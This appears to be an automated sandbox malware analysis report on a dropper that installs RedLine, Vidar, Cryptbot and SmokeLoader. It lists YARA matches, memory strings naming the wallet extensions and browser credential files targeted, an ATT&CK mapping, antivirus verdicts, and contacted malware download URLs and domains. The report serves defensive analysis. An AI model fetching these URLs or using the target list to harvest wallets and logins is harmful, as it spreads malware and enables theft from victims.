Source: 12F1.exe, 00000009.00000002.947404488.0000000000956000.00000004.00000020.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Stealing of Sensitive Information:

Yara detected RedLine Stealer

Show sources

Source: Yara match	File source: 20.0.1EAA.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.0.1EAA.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.0.1EAA.exe.400000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.0.1EAA.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.1EAA.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.0.1EAA.exe.400000.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.1EAA.exe.45835c0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.12F1.exe.ce0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.1EAA.exe.44e5e88.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.1EAA.exe.45835c0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.1EAA.exe.44e5e88.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.948865342.0000000000CE2000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000000.830171711.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000000.820409193.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.845557160.000000000434F000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.847931111.0000000004503000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000000.829040256.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.938711812.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000000.832066411.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 12F1.exe PID: 6580, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 1EAA.exe PID: 5572, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 1EAA.exe PID: 2740, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Cryptbot

Show sources

Source: Yara match	File source: 00000016.00000002.947756314.00000000012C5000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.835817824.00000000009D0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 305.exe PID: 1380, type: MEMORYSTR

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 0000000C.00000002.814172336.0000000000580000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.736880382.0000000000540000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.737014881.0000000001F51000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.854879480.0000000002051000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.853177748.0000000000540000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.815844712.0000000002091000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.724058055.0000000004F41000.00000020.00020000.sdmp, type: MEMORY

Yara detected Amadey bot

Show sources

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Show sources

Source: Yara match

File source: 00000011.00000002.854851899.0000000000555000.00000004.00000001.sdmp, type: MEMORY

Found many strings related to Crypto-Wallets (likely being stolen)

Show sources

Source: 12F1.exe, 00000009.00000002.978458353.0000000003621000.00000004.00000001.sdmp	String found in binary or memory: %appdata%\Electrum\wallets
Source: 305.exe, 00000016.00000002.947756314.00000000012C5000.00000002.00020000.sdmp	String found in binary or memory: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.104 Safari/537.36index.phpPOSTpassword\*\/(chrome default)(chrome profile 1)(brave)(opera)\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp\Local Extension Settings\mnojpmjdmbbfmejpflffifhffcmidifd\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih\Local Extension Settings\fhilaheimglignddkjgofkcbgekhenbh\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp\Local Extension Settings\fnnegphlobjdpkhecapkijjdkgcjhkib\Local Extension Settings\aeachknmefphepccionboohckonoeemg\Local Extension Settings\cgeeodpfagjceefieflmdfphplkenlfk\Local Extension Settings\pdadjkfkgcafgbceimcpbkalnfnepbnk\_Files\_Wallet\Metamask \_Files\_Wallet\Ronin \_Files\_Wallet\Yoroi \_Files\_Wallet\Tronlink \_Files\_Wallet\Nifty \_Files\_Wallet\Math \_Files\_Wallet\Coinbase \_Files\_Wallet\BinanceChain \_Files\_Wallet\Brave \_Files\_Wallet\Guarda \_Files\_Wallet\Equal \_Files\_Wallet\JaxxxLiberty \_Files\_Wallet\BitApp \_Files\_Wallet\iWallet \_Files\_Wallet\Wombat \_Files\_Wallet\Atomic \_Files\_Wallet\MewCx \_Files\_Wallet\Guild \_Files\_Wallet\Saturn \_Files\_Wallet\TerraStation \_Files\_Wallet\Harmony \_Files\_Wallet\Coin98 \_Files\_Wallet\TON Crystall \_Files\_Wallet\KardiaChain \files_\cryptocurrency\Metamask \files_\cryptocurrency\Ronin \files_\cryptocurrency\Yoroi \files_\cryptocurrency\Tronlink \files_\cryptocurrency\Nifty \files_\cryptocurrency\Math \files_\cryptocurrency\Coinbase \files_\cryptocurrency\BinanceChain \files_\cryptocurrency\Brave \files_\cryptocurrency\Guarda \files_\cryptocurrency\Equal \files_\cryptocurrency\JaxxxLiberty \files_\cryptocurrency\BitApp \files_\cryptocurrency\iWallet \files_\cryptocurrency\Wombat \files_\cryptocurrency\Atomic \files_\cryptocurrency\MewCx \files_\cryptocurrency\Guild \files_\cryptocurrency\Saturn \files_\cryptocurrency\TerraStation \files_\cryptocurrency\Harmony \files_\cryptocurrency\Coin98 \files_\cryptocurrency\TON Crystall \files_\cryptocurrency\KardiaChain %ProgramData%\AVG%ProgramData%\AVAST SoftwareHARDWARE\DESCRIPTION\System\CentralProcessor\0P
Source: 12F1.exe, 00000009.00000002.978458353.0000000003621000.00000004.00000001.sdmp	String found in binary or memory: .m1C:\Users\user\AppData\Roaming\Electrum\wallets\*
Source: 12F1.exe, 00000009.00000002.978458353.0000000003621000.00000004.00000001.sdmp	String found in binary or memory: .m-cjelfplplebdjjenllpjcblmjkfcffne\|JaxxxLiberty
Source: 12F1.exe, 00000009.00000002.978458353.0000000003621000.00000004.00000001.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: 12F1.exe, 00000009.00000002.978458353.0000000003621000.00000004.00000001.sdmp	String found in binary or memory: %appdata%\Ethereum\wallets
Source: 12F1.exe, 00000009.00000002.978458353.0000000003621000.00000004.00000001.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: 12F1.exe, 00000009.00000002.978458353.0000000003621000.00000004.00000001.sdmp	String found in binary or memory: %appdata%\Ethereum\wallets
Source: 12F1.exe, 00000009.00000002.978458353.0000000003621000.00000004.00000001.sdmp	String found in binary or memory: .m5C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\*
Source: 12F1.exe, 00000009.00000002.948865342.0000000000CE2000.00000040.00020000.sdmp	String found in binary or memory: set_UseMachineKeyStore

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Users\user\AppData\Local\Temp\44A2.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\305.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies
Source: C:\Users\user\AppData\Local\Temp\305.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\305.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
Source: C:\Users\user\AppData\Local\Temp\305.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data

Tries to steal Crypto Currency Wallets

Show sources

Source: C:\Users\user\AppData\Local\Temp\44A2.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44A2.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44A2.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44A2.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44A2.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44A2.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44A2.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior

Source: Yara match	File source: 00000016.00000002.947756314.00000000012C5000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.835817824.00000000009D0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000002.854851899.0000000000555000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 12F1.exe PID: 6580, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 305.exe PID: 1380, type: MEMORYSTR

Remote Access Functionality:

Yara detected RedLine Stealer

Show sources

Source: Yara match	File source: 20.0.1EAA.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.0.1EAA.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.0.1EAA.exe.400000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.0.1EAA.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.1EAA.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.0.1EAA.exe.400000.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.1EAA.exe.45835c0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.12F1.exe.ce0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.1EAA.exe.44e5e88.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.1EAA.exe.45835c0.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.1EAA.exe.44e5e88.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.948865342.0000000000CE2000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000000.830171711.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000000.820409193.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.845557160.000000000434F000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.847931111.0000000004503000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000000.829040256.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.938711812.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000000.832066411.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 12F1.exe PID: 6580, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 1EAA.exe PID: 5572, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 1EAA.exe PID: 2740, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Cryptbot

Show sources

Source: Yara match	File source: 00000016.00000002.947756314.00000000012C5000.00000002.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000003.835817824.00000000009D0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 305.exe PID: 1380, type: MEMORYSTR

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 0000000C.00000002.814172336.0000000000580000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.736880382.0000000000540000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.737014881.0000000001F51000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.854879480.0000000002051000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.853177748.0000000000540000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.815844712.0000000002091000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000000.724058055.0000000004F41000.00000020.00020000.sdmp, type: MEMORY

Yara detected Vidar stealer

Show sources

Source: Yara match

File source: 00000011.00000002.854851899.0000000000555000.00000004.00000001.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation11	DLL Side-Loading1	DLL Side-Loading1	Disable or Modify Tools1	OS Credential Dumping1	System Time Discovery1	Remote Services	Archive Collected Data11	Exfiltration Over Other Network Medium	Ingress Tool Transfer13	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Native API11	Application Shimming1	Application Shimming1	Deobfuscate/Decode Files or Information11	Input Capture1	File and Directory Discovery3	Remote Desktop Protocol	Data from Local System3	Exfiltration Over Bluetooth	Encrypted Channel11	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	Exploitation for Client Execution1	Logon Script (Windows)	Process Injection513	Obfuscated Files or Information4	Security Account Manager	System Information Discovery266	SMB/Windows Admin Shares	Input Capture1	Automated Exfiltration	Non-Standard Port1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	Command and Scripting Interpreter2	Logon Script (Mac)	Logon Script (Mac)	Software Packing34	NTDS	Query Registry1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Non-Application Layer Protocol4	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Timestomp1	LSA Secrets	Security Software Discovery10101	SSH	Keylogging	Data Transfer Size Limits	Application Layer Protocol25	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	DLL Side-Loading1	Cached Domain Credentials	Process Discovery12	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	File Deletion1	DCSync	Virtualization/Sandbox Evasion571	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Masquerading11	Proc Filesystem	Application Window Discovery1	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Virtualization/Sandbox Evasion571	/etc/passwd and /etc/shadow	Remote System Discovery1	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	Process Injection513	Network Sniffing	Process Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact
Compromise Software Dependencies and Development Tools	Windows Command Shell	Cron	Cron	Hidden Files and Directories1	Input Capture	Permission Groups Discovery	Replication Through Removable Media	Remote Data Staging	Exfiltration Over Physical Medium	Mail Protocols			Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
v72n86vFFq.exe	33%	Virustotal		Browse
v72n86vFFq.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\305.exe	100%	Avira	TR/Crypt.XPACK.Gen2
C:\Users\user\AppData\Local\Temp\1EAA.exe	100%	Avira	HEUR/AGEN.1144480
C:\Users\user\AppData\Local\Temp\305.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1EAA.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\361B.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\51B3.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\12F1.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\hiftsuu	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\44A2.exe	100%	Joe Sandbox ML
C:\ProgramData\sqlite3.dll	3%	Metadefender		Browse
C:\ProgramData\sqlite3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\sqlite3[1].dll	3%	Metadefender		Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\2WF3MMUU\sqlite3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\12F1.exe	26%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\12F1.exe	57%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Local\Temp\1EAA.exe	37%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\1EAA.exe	79%	ReversingLabs	ByteCode-MSIL.Trojan.AgentTesla
C:\Users\user\AppData\Local\Temp\2340.exe	27%	ReversingLabs	ByteCode-MSIL.Trojan.Lazy
C:\Users\user\AppData\Local\Temp\305.exe	43%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\305.exe	86%	ReversingLabs	Win32.Trojan.SelfDel
C:\Users\user\AppData\Local\Temp\361B.exe	29%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\361B.exe	51%	ReversingLabs	Win32.Trojan.Lockbit

Unpacked PE Files

Source	Detection	Scanner	Label	Download
20.0.1EAA.exe.4c0000.11.unpack	100%	Avira	HEUR/AGEN.1144480	Download File
14.2.1EAA.exe.410000.0.unpack	100%	Avira	HEUR/AGEN.1144480	Download File
12.1.hiftsuu.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
9.0.12F1.exe.ce0000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
4.2.v72n86vFFq.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
14.0.1EAA.exe.410000.1.unpack	100%	Avira	HEUR/AGEN.1144480	Download File
31.2.2340.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1143239	Download File
20.0.1EAA.exe.4c0000.7.unpack	100%	Avira	HEUR/AGEN.1144480	Download File
0.2.v72n86vFFq.exe.5b15a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
20.0.1EAA.exe.4c0000.3.unpack	100%	Avira	HEUR/AGEN.1144480	Download File
10.0.1EAA.exe.e80000.1.unpack	100%	Avira	HEUR/AGEN.1144480	Download File
17.2.44A2.exe.4e0e50.1.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
13.0.361B.exe.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
9.3.12F1.exe.2910000.0.unpack	100%	Avira	TR/Patched.Ren.Gen	Download File
4.0.v72n86vFFq.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1126869	Download File
20.0.1EAA.exe.4c0000.1.unpack	100%	Avira	HEUR/AGEN.1144480	Download File
22.0.305.exe.1290000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen2	Download File
22.0.305.exe.1290000.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen2	Download File
13.0.361B.exe.2df0e50.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
4.0.v72n86vFFq.exe.400000.3.unpack	100%	Avira	HEUR/AGEN.1126869	Download File
14.0.1EAA.exe.410000.3.unpack	100%	Avira	HEUR/AGEN.1144480	Download File
4.0.v72n86vFFq.exe.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
13.3.361B.exe.2e00000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
14.0.1EAA.exe.410000.0.unpack	100%	Avira	HEUR/AGEN.1144480	Download File
20.0.1EAA.exe.4c0000.5.unpack	100%	Avira	HEUR/AGEN.1144480	Download File
10.0.1EAA.exe.e80000.3.unpack	100%	Avira	HEUR/AGEN.1144480	Download File
31.0.2340.exe.400000.8.unpack	100%	Avira	HEUR/AGEN.1143239	Download File
9.1.12F1.exe.ce0000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
31.0.2340.exe.400000.12.unpack	100%	Avira	HEUR/AGEN.1143239	Download File
31.0.2340.exe.400000.16.unpack	100%	Avira	HEUR/AGEN.1143239	Download File
20.0.1EAA.exe.4c0000.0.unpack	100%	Avira	HEUR/AGEN.1144480	Download File
9.0.12F1.exe.ce0000.2.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
10.0.1EAA.exe.e80000.0.unpack	100%	Avira	HEUR/AGEN.1144480	Download File
23.1.51B3.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
23.0.51B3.exe.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
10.2.1EAA.exe.e80000.0.unpack	100%	Avira	HEUR/AGEN.1144480	Download File
23.2.51B3.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
31.0.2340.exe.400000.10.unpack	100%	Avira	HEUR/AGEN.1143239	Download File
17.2.44A2.exe.400000.0.unpack	100%	Avira	HEUR/AGEN.1123417	Download File
22.2.305.exe.1290000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen2	Download File
22.0.305.exe.1290000.3.unpack	100%	Avira	TR/Crypt.XPACK.Gen2	Download File
14.0.1EAA.exe.410000.2.unpack	100%	Avira	HEUR/AGEN.1144480	Download File
20.0.1EAA.exe.4c0000.2.unpack	100%	Avira	HEUR/AGEN.1144480	Download File
23.0.51B3.exe.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
31.0.2340.exe.400000.14.unpack	100%	Avira	HEUR/AGEN.1143239	Download File
13.1.361B.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
20.0.1EAA.exe.4c0000.9.unpack	100%	Avira	HEUR/AGEN.1144480	Download File
12.2.hiftsuu.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
23.0.51B3.exe.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
4.0.v72n86vFFq.exe.400000.1.unpack	100%	Avira	HEUR/AGEN.1126869	Download File
4.0.v72n86vFFq.exe.400000.2.unpack	100%	Avira	HEUR/AGEN.1126869	Download File
20.0.1EAA.exe.4c0000.13.unpack	100%	Avira	HEUR/AGEN.1144480	Download File
13.2.361B.exe.2df0e50.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
13.0.361B.exe.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
21.2.51B3.exe.5b15a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
12.0.hiftsuu.400000.5.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
12.0.hiftsuu.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
13.0.361B.exe.2df0e50.7.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
8.2.hiftsuu.4e15a0.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
31.0.2340.exe.400000.6.unpack	100%	Avira	HEUR/AGEN.1143239	Download File
13.2.361B.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
31.0.2340.exe.400000.4.unpack	100%	Avira	HEUR/AGEN.1143239	Download File
9.0.12F1.exe.ce0000.1.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
10.0.1EAA.exe.e80000.2.unpack	100%	Avira	HEUR/AGEN.1144480	Download File
22.0.305.exe.1290000.2.unpack	100%	Avira	TR/Crypt.XPACK.Gen2	Download File
4.0.v72n86vFFq.exe.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
20.2.1EAA.exe.4c0000.1.unpack	100%	Avira	HEUR/AGEN.1144480	Download File
4.0.v72n86vFFq.exe.400000.6.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
12.0.hiftsuu.400000.4.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
9.0.12F1.exe.ce0000.3.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
4.1.v72n86vFFq.exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File

Domains

No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://host-file-host-3.com/files/8723_1638191106_2017.exe	3%	Virustotal		Browse
http://host-file-host-3.com/files/8723_1638191106_2017.exe	100%	Avira URL Cloud	malware
http://tempuri.org/Entity/Id12Response	0%	URL Reputation	safe
http://tempuri.org/	0%	URL Reputation	safe
http://tempuri.org/Entity/Id2Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id21Response	0%	URL Reputation	safe
http://www.ncn.gov.pl/finansowanie-nauki/pomoc-publiczna	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id15Response	0%	URL Reputation	safe
http://host-file-host-3.com/files/5311_1638303032_7343.exe	0%	Virustotal		Browse
http://host-file-host-3.com/files/5311_1638303032_7343.exe	100%	Avira URL Cloud	malware
http://host-file-host-3.com/files/6096_1638289274_6885.exe	1%	Virustotal		Browse
http://host-file-host-3.com/files/6096_1638289274_6885.exe	100%	Avira URL Cloud	malware
https://api.ip.sb/ip	0%	URL Reputation	safe
https://socfinder.site/	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id24Response	0%	URL Reputation	safe
http://host-file-host-3.com/game.exe	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id5Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id10Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id8Response	0%	URL Reputation	safe
http://95.181.152.139	0%	Avira URL Cloud	safe
http://privacytoolzforyou-7000.com/downloads/toolspab3.exe	100%	Avira URL Cloud	malware
http://tempuri.org/Entity/Id13Response	0%	URL Reputation	safe
https://socfinder.site	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id22ResponseP	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id19ResponseP	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id22ResponseH	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id19ResponseH	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id22Response	0%	URL Reputation	safe
http://file-file-host4.com/sqlite3.dll	0%	URL Reputation	safe
https://get.adob	0%	URL Reputation	safe
http://tempuri.org/Entity/Id18Response	0%	URL Reputation	safe
https://cdn.discordapp.com4hl	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
host-data-coin-11.com	95.213.165.249	true	false	high
privacytoolzforyou-7000.com	95.213.165.249	true	false	high
qo.ckauni.ru	81.177.141.85	true	false	high
cdn.discordapp.com	162.159.130.233	true	false	high
host-file-host-3.com	95.213.165.249	true	false	high
www.google.com	142.250.184.68	true	false	high
file-file-host4.com	95.213.165.249	true	false	high
unic7m.top	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
